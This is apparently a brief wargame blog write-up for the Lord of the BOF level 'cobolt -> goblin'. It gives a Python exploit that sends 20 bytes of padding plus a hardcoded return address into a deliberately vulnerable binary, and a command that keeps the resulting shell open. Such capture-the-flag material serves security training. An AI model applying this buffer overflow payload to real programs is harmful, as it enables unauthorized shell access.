Wargame/Lord Of the Bof(redhat)

[Remind] LOB cobolt -> goblin

JeonYoungSin 2019. 4. 10. 22:51

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/cobolt/goblin'

shellAddress =  p(0xbffffba9)

payload = "A"*20+shellAddress

print payload



(python exploit.py ;cat) | ./goblin